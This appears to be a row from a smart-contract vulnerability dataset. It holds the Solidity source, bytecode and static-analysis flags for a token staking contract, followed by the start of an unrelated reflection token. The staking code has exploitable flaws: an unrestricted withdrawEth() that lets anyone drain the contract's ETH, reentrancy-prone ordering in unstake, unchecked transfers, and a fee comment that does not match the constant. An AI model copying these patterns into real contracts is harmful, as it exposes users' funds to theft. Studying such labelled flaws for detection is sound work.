assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract PRDZstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// PRDZ token contract address
address public constant tokenAddress = 0x4e085036A1b732cBe4FfB1C12ddfDd87E7C3664d;
// reward rate 80.00% per year
uint public constant rewardRate = 8000;
uint public constant scoreRate = 1000;
uint public constant rewardInterval = 365 days;
uint public constant scoreInterval = 3 days;
uint public scoreEth = 11340;
// unstaking fee 2.00 percent
uint public constant unstakingFeeRate = 250;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public totalScore;
mapping (address => uint) public lastScoreTime;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function updateScore(address _holder) private {
lastScoreTime[_holder] = now ;
}
function getScoreEth(address _holder) public view returns (uint) {
uint timeDiff = 0 ;
if(lastScoreTime[_holder] > 0){
timeDiff = now.sub(lastScoreTime[_holder]).div(2);
}
uint stakedAmount = depositedTokens[_holder];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
return eth;
}
function getStakingScore(address _holder) public view returns (uint) {
uint timeDiff = 0 ;
if(lastScoreTime[_holder] > 0){
timeDiff = now.sub(lastScoreTime[_holder]).div(2);
}
uint stakedAmount = depositedTokens[_holder];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
return score;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
updateScore(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
uint timeDiff = 0 ;
if(lastScoreTime[msg.sender] > 0){
timeDiff = now.sub(lastScoreTime[msg.sender]).div(2);
}
uint score = amountAfterFee
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
msg.sender.transfer(eth);
lastScoreTime[msg.sender] = now;
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimReward() public {
updateAccount(msg.sender);
}
function withdrawEth() public {
msg.sender.transfer(address(this).balance);
}
function claimScoreEth() public {
uint timeDiff = 0 ;
if(lastScoreTime[msg.sender] > 0){
timeDiff = now.sub(lastScoreTime[msg.sender]).div(2);
}
uint stakedAmount = depositedTokens[msg.sender];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
msg.sender.transfer(eth);
lastScoreTime[msg.sender] = now;
}
uint private constant stakingAndDaoTokens = 84000000000000000000000;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function deposit() payable public {
// nothing to do!
}
function updateScoreEth(uint _amount) public onlyOwner {
scoreEth = _amount ;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getStakingAndDaoAmount()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x6080604052600436106101cd5760003560e01c80639d76ea58116100f7578063c326bf4f11610095578063d578ceab11610064578063d578ceab1461084f578063d816c7d51461087a578063f2fde38b146108a5578063f3f91fa0146108f6576101cd565b8063c326bf4f1461078a578063c7c09074146107ef578063ce40453d1461081a578063d0e30db014610845576101cd565b8063a84e9dee116100d1578063a84e9dee146106a8578063a967b72c1461070d578063b88a802f14610748578063bec4de3f1461075f576101cd565b80639d76ea5814610615578063a0ef91df14610656578063a694fc3a1461066d576101cd565b80636270cd181161016f578063872855871161013e57806387285587146104f35780638da5cb5b1461055857806393bcb5a31461059957806398896d10146105b0576101cd565b80636270cd18146103835780636a395ccb146103e85780637b0a47ee1461046357806384eda6621461048e576101cd565b8063308feec3116101ab578063308feec31461026357806335d8f62f1461028e5780633a5ec653146102f3578063583d42fd1461031e576101cd565b80630f1a6444146101d2578063268cab49146101fd5780632e17de7814610228575b600080fd5b3480156101de57600080fd5b506101e761095b565b6040518082815260200191505060405180910390f35b34801561020957600080fd5b50610212610962565b6040518082815260200191505060405180910390f35b34801561023457600080fd5b506102616004803603602081101561024b57600080fd5b81019080803590602001909291905050506109ab565b005b34801561026f57600080fd5b50610278610ff0565b6040518082815260200191505060405180910390f35b34801561029a57600080fd5b506102dd600480360360208110156102b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611001565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610308611175565b6040518082815260200191505060405180910390f35b34801561032a57600080fd5b5061036d6004803603602081101561034157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117c565b6040518082815260200191505060405180910390f35b34801561038f57600080fd5b506103d2600480360360208110156103a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611194565b6040518082815260200191505060405180910390f35b3480156103f457600080fd5b506104616004803603606081101561040b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ac565b005b34801561046f57600080fd5b5061047861132e565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104dd600480360360208110156104b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611334565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b506105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134c565b6040518082815260200191505060405180910390f35b34801561056457600080fd5b5061056d6114a6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a557600080fd5b506105ae6114ca565b005b3480156105bc57600080fd5b506105ff600480360360208110156105d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bd565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b5061062a61182c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066257600080fd5b5061066b611844565b005b34801561067957600080fd5b506106a66004803603602081101561069057600080fd5b810190808035906020019092919050505061188d565b005b3480156106b457600080fd5b506106f7600480360360208110156106cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b6f565b6040518082815260200191505060405180910390f35b34801561071957600080fd5b506107466004803603602081101561073057600080fd5b8101908080359060200190929190505050611b87565b005b34801561075457600080fd5b5061075d611be9565b005b34801561076b57600080fd5b50610774611bf4565b6040518082815260200191505060405180910390f35b34801561079657600080fd5b506107d9600480360360208110156107ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfc565b6040518082815260200191505060405180910390f35b3480156107fb57600080fd5b50610804611c14565b6040518082815260200191505060405180910390f35b34801561082657600080fd5b5061082f611c1a565b6040518082815260200191505060405180910390f35b61084d611c20565b005b34801561085b57600080fd5b50610864611c22565b6040518082815260200191505060405180910390f35b34801561088657600080fd5b5061088f611c28565b6040518082815260200191505060405180910390f35b3480156108b157600080fd5b506108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c2d565b005b34801561090257600080fd5b506109456004803603602081101561091957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7c565b6040518082815260200191505060405180910390f35b6203f48081565b60006911c9a62d04ed0c8000006002541061098057600090506109a8565b60006109a16002546911c9a62d04ed0c800000611d9490919063ffffffff16565b9050809150505b90565b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610a6933611dab565b6000610a93612710610a8560fa8561204190919063ffffffff16565b61207090919063ffffffff16565b90506000610aaa8284611d9490919063ffffffff16565b9050734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b5157600080fd5b505af1158015610b65573d6000803e3d6000fd5b505050506040513d6020811015610b7b57600080fd5b8101908080519060200190929190505050610bfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8357600080fd5b505af1158015610c97573d6000803e3d6000fd5b505050506040513d6020811015610cad57600080fd5b8101908080519060200190929190505050610d30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b600080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610de157610dde6002610dd0600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d9490919063ffffffff16565b61207090919063ffffffff16565b90505b6000610e33612710610e256203f480610e1786610e096103e88a61204190919063ffffffff16565b61204190919063ffffffff16565b61207090919063ffffffff16565b61207090919063ffffffff16565b90506000610e4c6001548361207090919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e94573d6000803e3d6000fd5b5042600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f2b86600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8233600361208990919063ffffffff16565b8015610fcd57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610fe857610fe63360036120b990919063ffffffff16565b505b505050505050565b6000610ffc60036120e9565b905090565b600080600090506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110b8576110b560026110a7600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d9490919063ffffffff16565b61207090919063ffffffff16565b90505b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061114e6127106111406203f480611132876111246103e88961204190919063ffffffff16565b61204190919063ffffffff16565b61207090919063ffffffff16565b61207090919063ffffffff16565b905060006111676001548361207090919063ffffffff16565b905080945050505050919050565b6203f48081565b60066020528060005260406000206000915090505481565b60086020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120457600080fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561127c57611254610962565b81111561126057600080fd5b611275816002546120fe90919063ffffffff16565b6002819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156112ed57600080fd5b505af1158015611301573d6000803e3d6000fd5b505050506040513d602081101561131757600080fd5b810190808051906020019092919050505050505050565b611f4081565b60096020528060005260406000206000915090505481565b600080600090506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114035761140060026113f2600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d9490919063ffffffff16565b61207090919063ffffffff16565b90505b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061149961271061148b6203f48061147d8761146f6103e88961204190919063ffffffff16565b61204190919063ffffffff16565b61207090919063ffffffff16565b61207090919063ffffffff16565b9050809350505050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561157b57611578600261156a600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d9490919063ffffffff16565b61207090919063ffffffff16565b90505b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006116116127106116036203f4806115f5876115e76103e88961204190919063ffffffff16565b61204190919063ffffffff16565b61207090919063ffffffff16565b61207090919063ffffffff16565b9050600061162a6001548361207090919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611672573d6000803e3d6000fd5b5042600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006116d382600361208990919063ffffffff16565b6116e05760009050611827565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156117315760009050611827565b6000611785600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d9490919063ffffffff16565b90506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061181e6127106118106301e13380611802876117f4611f408961204190919063ffffffff16565b61204190919063ffffffff16565b61207090919063ffffffff16565b61207090919063ffffffff16565b90508093505050505b919050565b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d81565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561188a573d6000803e3d6000fd5b50565b60008111611903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156119a657600080fd5b505af11580156119ba573d6000803e3d6000fd5b505050506040513d60208110156119d057600080fd5b8101908080519060200190929190505050611a53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611a5c33611dab565b611a653361211a565b611ab781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fe90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b0e33600361208990919063ffffffff16565b611b6c57611b2633600361216190919063ffffffff16565b5042600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600a6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bdf57600080fd5b8060018190555050565b611bf233611dab565b565b6301e1338081565b60056020528060005260406000206000915090505481565b6103e881565b60015481565b565b60025481565b60fa81565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c8557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cbf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60076020528060005260406000206000915090505481565b600082821115611da057fe5b818303905092915050565b6000611db6826116bd565b90506000811115611ff957734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e4657600080fd5b505af1158015611e5a573d6000803e3d6000fd5b505050506040513d6020811015611e7057600080fd5b8101908080519060200190929190505050611ef3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f4581600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fe90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9d816002546120fe90919063ffffffff16565b6002819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061206057508284828161205d57fe5b04145b61206657fe5b8091505092915050565b60008082848161207c57fe5b0490508091505092915050565b60006120b1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612191565b905092915050565b60006120e1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6121b4565b905092915050565b60006120f78260000161229c565b9050919050565b60008082840190508381101561211057fe5b8091505092915050565b42600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000612189836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6122ad565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461229057600060018203905060006001866000018054905003905060008660000182815481106121ff57fe5b906000526020600020015490508087600001848154811061221c57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061225457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612296565b60009150505b92915050565b600081600001805490509050919050565b60006122b98383612191565b612312578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612317565b600090505b9291505056fea26469706673582212201bdb3b8946fd98387d45cc21bde7741be5998d638e872cd1755467a4168683e964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,865 |
0xb156943814b50f9f8ac682a5fb0a793279be637b
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
contract Halt {
mapping (address => uint256) internal _rOwned;
mapping (address => uint256) internal _tOwned;
mapping (address => mapping (address => uint256)) public allowance;
mapping(address => bool) public isTaxedAsSender;
mapping(address => bool) public isTaxedAsRecipient;
mapping (address => bool) public isExcluded;
address[] internal _excluded;
string public constant name = "Halt";
string public constant symbol = "HALT";
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 1_000_000_000 * (10 ** decimals);
uint256 internal _rTotal = (type(uint256).max - (type(uint256).max % totalSupply));
uint256 internal _tFeeTotal;
uint256 constant internal _reflectBasisPoints = 7000; // 0.01% = 1 basis point, 4.00% = 400 basis points
uint256 internal reflectDisabledBlock;
address public owner;
address public pendingOwner;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed account, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
_rOwned[msg.sender] = _rTotal;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier isOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
function balanceOf(address account) external view returns (uint256) {
return isExcluded[account] ? _tOwned[account] : tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, allowance[sender][msg.sender] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] - subtractedValue);
return true;
}
